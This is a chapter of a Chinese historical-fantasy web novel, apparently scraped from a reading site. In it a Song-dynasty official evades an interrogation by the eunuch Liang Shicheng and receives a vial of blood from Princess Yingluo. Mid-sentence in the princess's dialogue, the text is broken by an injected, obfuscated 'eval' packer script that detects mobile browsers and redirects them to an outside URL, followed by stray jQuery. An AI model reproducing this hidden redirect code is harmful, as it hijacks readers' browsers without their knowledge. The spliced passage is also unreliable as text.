默认冷灰
24号文字
方正启体

12. 第一卷 七个日夜

作者:墨菲斯2099本书字数:K更新时间:
    赵承影伏在马背上,脑中思绪纷乱。


    至亲血。


    他想起父亲临终前枯槁的手,想起母亲温柔的眉眼。


    若他们在世,定会毫不犹豫地给他血吧?可他们早已不在。


    族中亲眷?那些远在江南的叔伯兄弟,莫说远水解不了近渴,便是近在眼前,谁又肯为一个远房宗室,献出心头血?


    挚友?陈东、李纲...他们是忠臣,是挚友,但他们有更重要的事要做。守城,抗金,护佑这大宋江山。若是往日还好,可时至今日即便他去求,未必能为他涉险。


    剩下的,只有...


    赵璎珞。


    这个名字在心口发烫。素笺上的墨迹,似乎透过衣物,烙印在皮肤上。


    她能算挚爱吗?他们不过数面之缘,说过的话加起来不过十几句。她是帝姬,他是臣子,云泥之别。


    可在那无间地狱中,唯一能锚定他的,只有这个名字,和那双清澈的眼。


    马儿穿过城墙豁口,进入城中。


    风雪稍歇,街上有了些人气。粮店前仍然排着长队,百姓们揣着钱袋,眼巴巴望着紧闭的店门。


    几个孩童在巷口堆雪人,笑声清脆,与这围城的压抑格格不入。


    赵承影勒马,望着那些孩童。


    若他失败,彻底变成怪物,这些笑声,这些鲜活的生命,会不会成为完颜赫连血狼卫的猎物?


    璎珞那样善良,不是为了他,为了这些孩子,为了这一城百姓。


    他握紧缰绳,调转马头,朝皇城方向走去。


    宫门守卫比昨日更森严。


    守门的禁军多了三倍,且个个面色凝重,刀剑出鞘半寸。


    见赵承影靠近,立刻有军士上前盘问。


    “翰林院编修赵承影,有要事入宫。”他出示腰牌。


    军士仔细查验腰牌,又打量他几眼,他面色苍白,眼窝深陷,官袍皱巴巴沾着污渍,实在可疑。


    “赵大人稍候,容我等禀报。”军士转身入内。


    赵承影在宫门外等候。雪又下起来,落在肩头,很快积了薄薄一层。他想起那日也是这样的雪,赵璎珞在长廊里递来锦囊,指尖冰凉。


    “赵大人?”


    守门军士回来了,身后还跟着一人,是梁师成身边那个孙太监。


    孙太监笑眯眯地行礼:“赵编修,梁都知有请。”


    赵承影心中一沉,面上却不动声色:“下官有要事需面见顺德帝姬,还请公公通融。”


    “帝姬凤体欠安,太医吩咐静养,不宜见客。”孙太监笑容不变,“倒是梁都知,有些话想问问赵编修。请吧。”


    两个禁军上前,一左一右,看似护送,实为押解。


    赵承影知道推脱不得,只能下马,随孙太监入宫。


    穿过熟悉的宫道,却不是往福宁殿,而是转向内侍省所在的偏殿。


    殿内烧着地龙,温暖如春,梁师成坐在太师椅上,手里捧着一盏茶,正慢条斯理地吹着茶沫。


    “赵编修来了。”梁师成抬眼,脸上堆着笑,“坐。”


    赵承影行礼,在下首坐下:“不知都知召下官前来,有何吩咐?”


    “吩咐谈不上。”梁师成放下茶盏,挥退左右,只留孙太监在旁伺候,“只是有些事,想问问赵编修。”


    他顿了顿,笑容渐敛:“昨夜西华门守将上报,说有人持赵编修的腰牌出城。可巧,今早又有人看见赵编修从城墙豁口回来。这一出一进,不知赵编修是去办什么要紧事?”


    来了。


    赵承影心中念头急转,面上却平静:“下官前日感染风寒,在官舍休养。昨日病稍愈,进宫见帝姬生病,想起城外有处私宅存了些药材,便出城去取。


    因走得急,未及向城门守将说明,只出示了腰牌。


    至于城墙豁口...下官回城时,正巧遇见金兵小股游骑,为避其锋芒,才从豁口潜入。都知若不信,可查问西城守军,昨夜确有金兵游骑出没。”


    这番话半真半假,逻辑通顺,且涉及金兵,梁师成即便怀疑,也难深究。


    果然,梁师成眯起眼,盯着赵承影看了片刻,忽然又笑了:“原来如此。赵编修病体未愈,还为宫中奔波取药,真是忠心可嘉。只是..”


    他话锋一转:“赵编修取的,是什么药?”


    赵承影心中一凛。梁师成果然在查他。


    “不过是些寻常药材,当归、黄芪之类,为帝姬调理身子。”他垂下眼,“都知若不信,可派人去下官私宅查验。”


    “那倒不必。”梁师成端起茶盏,呷了一口,“只是咱家听说,昨夜宝香库失火,丢了几样御用贡品。其中就有龙涎香。而赵编修昨日一早便去御药房,点名要龙涎香...这未免太巧了些。”


    他抬眼,眼中精光一闪:“赵编修要龙涎香,做什么用?”


    殿内气氛骤然紧绷。


    赵承影能感觉到孙太监的手按在了腰间的刀柄上。


    门外,隐约有脚步声,不止一人,已将偏殿围住。


    这是个局。梁师成早就在等他。


    他深吸一口气,缓缓道:“都知既已查到此处,下官便直言了。龙涎香,确实是为帝姬所求。”


    “哦?”梁师成挑眉。


    “帝姬凤体欠安,太医开的方子里,需龙涎香为引。”赵承影抬眼,与梁师成对视,“下官听闻宝香库失火,龙涎香恐有损毁,这才急着去取。若都知怀疑下官与失火有关,大可去问太医,帝姬药方中是否真有此味药。”


    他赌梁师成不敢去问。因为一旦问了,便坐实了他为难帝姬的罪名,顺德帝姬虽非官家最宠爱的女儿,但毕竟是帝姬,若传出内侍省刁难帝姬用药,御史台的弹劾奏章能淹了梁师成。


    果然,梁师成笑容僵了僵,旋即恢复如常:“原来如此。是咱家多心了。赵编修忠心为主,咱家定会在官家面前美言几句。”


    他挥挥手:“孙公公,送赵编修出去。另,从咱家的私库里取二两龙涎香,给帝姬送去,算咱家一点心意。”


    “多谢都知。”赵承影起身行礼,心中却无半分轻松。


    梁师成这么好说话,必然有后手。


    果然,孙太监送他出殿时,压低声音道:“赵编修,咱家劝你一句,有些事,不该管的别管,有些人,不该见的别见。这宫里宫外,眼睛多着呢。”


    这话里有话。


    赵承影点头:“多谢公公提醒。”


    他快步离开内侍省,朝福宁殿走去。


    风雪渐大,宫道上积雪已没脚踝。他走得急,官袍下摆沾满了雪泥。


    福宁殿外,几个宫女正在扫雪,见他来,纷纷行礼。


    “帝姬可好些了?”他问。


    一个宫女答:“服了药,热退了,只是身子还虚,正睡着。”


    赵承影犹豫片刻:“我...能进去看看吗?”


    宫女们对视一眼,为首的年长宫女福身道:“赵大人稍候,容奴婢去禀报。”


    她转身入殿,不多时回来,低声道:“帝姬醒了,请大人进去。”


    赵承影整了整衣冠,踏入殿内。


    殿内药味仍浓,但比昨日淡了些。


    炭火烧得暖,赵璎珞半靠在榻上,身上盖着锦被,脸色仍苍白,但眼神清亮了许多。


    “赵大人。”她轻声唤他,声音还有些沙哑。


    “帝姬。”赵承影行礼,在榻边三步外站定,“下官听闻帝姬凤体欠安,特来探视。”


    赵璎珞让宫女都退下,只留一个老嬷嬷在旁伺候。


    她看着赵承影,眼中闪过一丝担忧:“大人脸色很差,可是病了?”


    “偶感风寒,已无大碍。”赵承影垂下眼,“帝姬的药材,下官已寻来几味昨日差遣小宫女送来,如今只缺龙涎香。方才梁都知答应赠送二两,稍后会送来。”


    “梁师成?”赵璎珞蹙眉,“他怎会如此好心?”


    “下官也不解。”赵承影抬眼,“但帝姬需用药,顾不得许多了。”


    殿内陷入沉默。炭火噼啪,窗外风雪呜咽。


    良久,赵璎珞轻声问:“大人那日说,入夜后要关紧门窗...可是宫里,有什么不干净的东西?”


    她问得直接,赵承影一时不知如何回答。


    “帝姬何出此言?”


    “昨夜...我做了个梦。”赵璎珞攥紧被角,指尖发白,“梦见一个黑影站在我床前,眼睛是红的,像血。我想喊,却发不出声...然后那黑影俯下身,我闻到了一股味道..”


    她顿了顿,声音发颤:“像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301211|198636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ...像御花园里,死掉的,落在地上还没有掩埋。”


    血腥味,混合着腐朽。


    赵承影脊背发凉。


    那不是梦。那是真的有血裔潜入福宁殿,站在她床前,或许还...闻了她的血。


    “帝姬近日,可觉得有什么异常?”他压低声音。


    赵璎珞想了想:“前夜值夜的宫女说,听见殿顶有脚步声,很轻,像猫。


    还有,我窗台上的那盆水仙,昨日忽然枯死了,根都烂了,可明明前日还好好的。”


    她抬眼,看着赵承影:“大人,你是不是知道些什么?”


    赵承影沉默。他知道的太多了,多到不能说。


    “帝姬只需记住,入夜后,门窗务必锁好,殿内多留几盏灯。”他从怀中取出一个香囊,不是赵璎珞送的那个,而是玄尘子给的,“这个香囊,帝姬随身戴着,可安神定魂。”


    香囊是素色的,绣着简单的云纹,里面装着定神香的粉末。


    赵璎珞接过,凑到鼻尖轻嗅,清雅的香气让她紧蹙的眉头稍稍舒展。


    “多谢大人。”她将香囊贴身收好,又犹豫了一下,从枕下取出一个小玉瓶,递给赵承影,“这个...给大人。”


    玉瓶只有拇指大小,通体洁白,触手温润。


    “这是..”


    “是我的血。”赵璎珞说得很轻,但很清晰,“前日太医放血退热,我让嬷嬷留了一些。大人那日脸色极差,我想着...或许有用。”


    赵承影握着玉瓶,像握着一块烧红的炭。


    他震惊的看着赵璎珞,怀疑她似乎早就知道什么。


    但很快,他的理智就被另一种东西占据了,一种味道。


    玉瓶是温的,里面液体微微晃动。


    他能“感觉”到,不是闻到,也不是看到,而是某种更深层的感知,那里面的血,温热,鲜活,带着少女特有的清甜。


    喉咙开始发干。


    那股被他以为已经压制住的渴望,又翻涌上来。


    他几乎能“看见”玉瓶里血液流动的轨迹,能“听见”它们呼唤的声音。


    “帝姬..”他声音发哑,“这太贵重..”


    “再贵重,也比不上命。”赵璎珞看着他,那双清澈的眸子里,映着烛光,也映着他苍白的脸。


    “大人,这宫里,我能信的人不多。你是一个。”


    她顿了顿,声音更轻:“那日你在浣衣院做的事...我虽不知详情,但宫里传遍了,说有个蒙面侠客救了那些宫女。嬷嬷说,那人的身形,很像你。”


    赵承影浑身一震。


    “我不会说出去。”赵璎珞看着他,眼中是坦然的信任,“但大人要小心。梁师成...不是好人。他与金人,或许有勾结。”


    这话说得极轻,轻得像耳语。但落在赵承影耳中,却如惊雷。


    “帝姬如何得知?”


    “我听见的。”赵璎珞抿了抿唇,“前日我发热,睡得昏沉,梁师成以为我昏迷,在殿外与一个陌生人说话。


    那人声音很怪,像...像铁片摩擦。他说主人要的人,三日内必须送到,梁师成说宫中戒备森严,需再缓两日..”


    她抓紧被角,指尖发白:“他们说的人,指的是宫里的女子。浣衣院那些宫女...或许不是第一批。”


    赵承影握紧玉瓶,瓶身冰凉,瓶内的血却像火一样烫。


    完颜赫连要活人,梁师成在帮他抓人。而赵璎珞...很可能就是下一个目标。


    “帝姬,这几日无论谁传召,都不要离开福宁殿。”他压低声音,语速极快,“我会想办法,但我需要时间。”


    “多久?”


    “三日。”赵承影想起焚血丹的最后期限,“三日后,无论成败,我都会回来。”


    赵璎珞看着他,良久,缓缓点头:“我信你。”


    三个字,轻如鸿毛,重如泰山。


    赵承影深深看她一眼,将玉瓶贴身收好,行礼告退。


    走出福宁殿时,风雪正急。


    他握紧怀中的玉瓶,那温热的触感透过衣物,熨帖在心口。


    至亲血。


    他没有至亲,没有挚友。


    但他来自一个信他的女子的血。


    这,或许够了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)